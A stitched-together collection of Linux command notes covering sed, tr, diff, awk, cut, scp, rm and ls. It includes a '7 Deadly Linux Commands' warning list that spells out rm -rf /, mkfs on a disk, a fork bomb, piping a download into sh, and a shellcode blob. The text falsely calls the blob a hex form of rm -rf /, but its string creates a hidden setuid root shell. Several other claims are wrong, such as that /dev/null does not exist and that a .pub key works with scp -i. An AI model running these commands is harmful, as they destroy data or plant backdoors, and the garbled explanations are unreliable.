You can use sed to add newline characters to a stream of text. Where Enter appears, press the Enter key. The > on the second line is generated by bash, not typed in.

$ echo aaabccc | sed 's/b/\Enter
> /'
aaa
ccc

The trick just shown does not work on the left side of the sed substitution command. When you need to substitute newline characters, it's easier to use the tr command.

Translating or Removing Characters with tr

The tr command is an easy way to do simple character translations on the fly. In the following example, new lines are replaced with spaces, so all the files listed from the current directory are output on one line:

$ ls | tr '\n' ' ' Replace newline characters with spaces

The tr command can be used to replace one character with another, but does not work with strings like sed does. The following command replaces all instances of the lowercase letter f with a capital F.

$ tr f F < myfile.txt Replace every f in the file with F

You can also use the tr command to simply delete characters. Here are two examples:

$ ls | tr -d '\n' Delete new lines (resulting in one line)
$ tr -d f < myfile.txt Delete every letter f from the file

The tr command can do some nifty tricks when you specify ranges of characters to work on. Here's an example of capitalizing lowercase letters to uppercase letters:

$ echo chris | tr a-z A-Z Translate chris into CHRIS
CHRIS

The same result can be obtained with the following syntax:

$ echo chris | tr '[:lower:]' '[:upper:]' Translate chris into CHRIS

Checking Differences Between Two Files with diff When you have two versions of a file, it can be useful to know the differences between the two files. For example, when upgrading a software package, you may save your old configuration file under a new file name, such as config.old or config.bak, so you preserve your configuration. When that occurs, you can use the diff command to discover which lines differ between your configuration and the new configuration, in order to merge the two. For example:

$ diff config config.old

You can change the output of diff to what is known as unified format. Unified format can be easier to read by human beings. It adds three lines of context before and after each block of changed lines that it reports, and then uses + and - to show the difference between the files. The following set of commands creates a file (f1.txt) containing a sequence of numbers (1-7), creates a file (f2.txt) with one of those numbers changed (using sed), and compares the two files using the diff command:

$ seq 1 7 > f1.txt Send a sequence of numbers to f1.txt
$ cat f1.txt Display contents of f1.txt

1 2 3 4 5 6 7

$ sed s/4/FOUR/ < f1.txt > f2.txt Change 4 to FOUR and send to f2.txt
$ diff f1.txt f2.txt

4c4 Shows line 4 was changed in file < 4 --- > FOUR $ diff -u f1.txt f2.txt Display unified output of diff --- f1.txt 2007-09-07 18:26:06.000000000 -0500 +++ f2.txt 2007-09-07 18:26:39.000000000 -0500 @@ -1,7 +1,7 @@ 1 2 3 -4 +FOUR 5 6 7 The diff -u output just displayed adds information such as modification dates and times to the regular diff output. The sdiff command can be used to give you yet another view. The sdiff command can merge the output of two files interactively, as shown in the following output:

$ sdiff f1.txt f2.txt

1 1 2 2 3 3 4 | FOUR 5 5 6 6 7 7 Another variation on the diff theme is vimdiff, which opens the two files side by side in Vim and outlines the differences in color. Similarly, gvimdiff opens the two files in gVim.

	Note

You need to install the vim-gnome package to run the gvim or gvimdiff program. The output of diff -u can be fed into the patch command. The patch command takes an old file and a diff file as input and outputs a patched file. Following on the example above, we use the diff command between the two files to generate a patch and then apply the patch to the first file:

$ diff -u f1.txt f2.txt > patchfile.txt
$ patch f1.txt < patchfile.txt

patching file f1.txt $ cat f1.txt 1 2 3 FOUR 5 6 7 That is how many OSS developers (including kernel developers) distribute their code patches. The patch and diff commands can also be run on entire directory trees. However, that usage is outside the scope of this book.

Using awk and cut to Process Columns

Another massive text processing tool is the awk command. The awk command is a full-blown programming language. Although there is much more you can do with the awk command, the following examples show you a few tricks related to extracting columns of text:

$ ps auwx | awk '{print $1,$11}' Show columns 1, 11 of ps
$ ps auwx | awk '/francois/ {print $11}' Show francois' processes
$ ps auwx | grep francois | awk '{print $11}' Same as above

The first example displays the contents of the first column (user name) and eleventh column (command name) from currently running processes output from the ps command (ps auwx). The next two commands produce the same output, with one using the awk command and the other using the grep command to find all processes owned by the user named francois. In each case, when processes owned by francois are found, column 11 (command name) is displayed for each of those processes.

By default, the awk command assumes the delimiter between columns is spaces. You can specify a different delimiter with the -F option as follows:

$ awk -F: '{print $1,$5}' /etc/passwd Use colon delimiter to print cols

You can get similar results with the cut command. As with the previous awk example, we specify a colon (:) as the column delimiter to process information from the /etc/ passwd file:

$ cut -d: -f1,5 /etc/passwd Use colon delimiter to print cols

The cut command can also be used with ranges of fields. The following command prints columns 1 thru 5 of the /etc/passwd file:

$ cut -d: -f1-5 /etc/passwd Show columns 1 through 5

Instead of using a dash (-) to indicate a range of numbers, you can use it to print all columns from a particular column number and above. The following command displays all columns from column 5 and above from the /etc/passwd file:

$ cut -d: -f5- /etc/passwd Show columns 5 and later

We prefer to use the awk command when columns are separated by a varying number of spaces, such as the output of the ps command. And we prefer the cut command when dealing with files delimited by commas (,) or colons (:), such as the /etc/ password file.

Converting Text Files to Different Formats

Text files in the Unix world use a different end-of-line character (\n) than those used in the DOS/Windows world (\r\n). You can view these special characters in a text file with the od command:

$ od -c -t x1 myfile.txt

So they will appear properly when copied from one environment to the other, it is necessary to convert the files. Here are some examples:

$ unix2dos < myunixfile.txt > mydosfile.txt
$ cat mydosfile.txt | dos2unix > myunixfile.txt

The unix2dos example just shown above converts a Linux or Unix plain text file (myunixfile.txt) to a DOS or Windows text file (mydosfile.txt). The dos2unix example does the opposite by converting a DOS/Windows file to a Linux/Unix file. These commands require you to install the tofrodos package.

7 Deadly Linux Commands

The 7 Deadly Linux Commands

If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

:(){:|:&};:

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again. There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.

Copy Files Using SCP

copy from a remote machine to my machine:

you have to be in the local machine terminal to run below

scp user@192.168.1.100:/home/remote_user/Desktop/file.txt /home/me/Desktop/file.txt

copy from my machine to a remote machine:

scp /home/me/Desktop/file.txt user@192.168.1.100:/home/remote_user/Desktop/file.txt

copy all file*.txt from a remote machine to my machine (file01.txt, file02.txt, etc.; note the quotation marks:

scp "user@192.168.1.100:/home/remote_user/Desktop/file*.txt" /home/me/Desktop/file.txt

copy a directory from a remote machine to my machine:

scp -r user@192.168.1.100:/home/remote_user /Desktop/files /home/me/Desktop/

Local to remote

scp -r directory root@domain.com:/var/www/

Copy Files and directories when you are cd into that directory

scp -r * root@domain.com:/var/www/

see 'man scp' or 'man sftp' for more ..

SCP with Key

scp -i ~/.ssh/id_rsa.pub FILENAME USER@SERVER:/home/USER/FILENAME

My Frequently used Linux Commands

command to Show all users:

cat /etc/passwd

lastlog

List all installed Apache Modules

apache2ctl -M

Update server

sudo apt-get update

sudo apt-get dist-upgrade

Move files and folders

mv *.*  -wil move all files and not folders
mv * -will move all files and folders

Updating Ubuntu

sudo aptitude update
sudo aptitude safe-upgrade
ssh using different port
ssh -p 113 root@whatever.com

Change Permissions

chmod 777 -R folder

use 755

Change the owner and group

chown bacchas2:psacln -R folder

Create New Directories

$ mkdir /tmp/new          Create "new" directory in /tmp
$ mkdir -p /tmp/a/b/c/new Create parent directories as needed for "new"
$ mkdir -m 700 /tmp/new2  Create new2 with drwx — — — permissions

The first mkdir command simply adds the new directory to the existing /tmp directory. The second example creates directories as needed (subdirectories a, b, and c) to create the resulting new directory. The last command adds the -m option to set directory permissions as well.

rm myfile.txt

rm [-f] [-i] [-R] [-r] [filenames | directory]

-f Remove all files (whether write-protected or not) in a directory without prompting the user. In a write-protected directory, however, files are never removed (whatever their permissions are), but no messages are displayed. If the removal of a write-protected directory is attempted, this option will not suppress an error message.
-i Interactive. With this option, rm prompts for confirmation before removing any files. It over- rides the -f option and remains in effect even if the standard input is not a terminal.
-R Same as -r option.
-r Recursively remove directories and subdirectories in the argument list. The directory will be emptied of files and removed. The user is normally prompted for removal of any write-protected files which the directory contains. The write-protected files are removed without prompting, however, if the -f option is used, or if the standard input is not a terminal and the -i option is not used. Symbolic links that are encountered with this option will not be traversed. If the removal of a non-empty, write-protected directory is attempted, the utility will always fail (even if the -f option is used), resulting in an error message.
filenames A path of a filename to be removed.

Examples

rm myfile.txt

Remove the file myfile.txt without prompting the user.

rm -r directory

Remove a directory, even if files existed in that directory.

Listing Files

Although you are probably quite familiar with the ls command, you may not be familiar with many of the useful options for ls that can help you find out a lot about the files on your system. Here are some examples of using ls to display long lists (-l) of files and directories:

$ ls -l Files and directories in current directory
$ ls -la Includes files/directories beginning with dot (.)
$ ls -lt Orders files by time recently changed
$ ls -lu Orders files by time recently accessed
$ ls -lS Orders files by size
$ ls -li Lists the inode associated with each file
$ ls -ln List numeric user/group IDs, instead of names
$ ls -lh List file sizes in human-readable form (K, M, etc.)
$ ls -lR List files recursively, from current directory and subdirectories

When you list files, there are also ways to have different types of files appear differently in the listing:

$ ls -F                Add a character to indicate file type

myfile-symlink@ config/ memo.txt pipefile| script.sh* xpid.socket=

$ ls --color=always    Show file types as different colors
$ ls -C                Show files listing in columns

In the -F example, the output shows several different file types. The myfile-symlink@ indicates a symbolic link to a directory, config/ is a regular directory, memo.txt is a regular file (no extra characters), pipefile| is a named pipe (created with mkfifo), script.sh* is an executable file, and xpid.socket= is a socket. The next two examples display different file types in different colors and lists output in columns, respectively.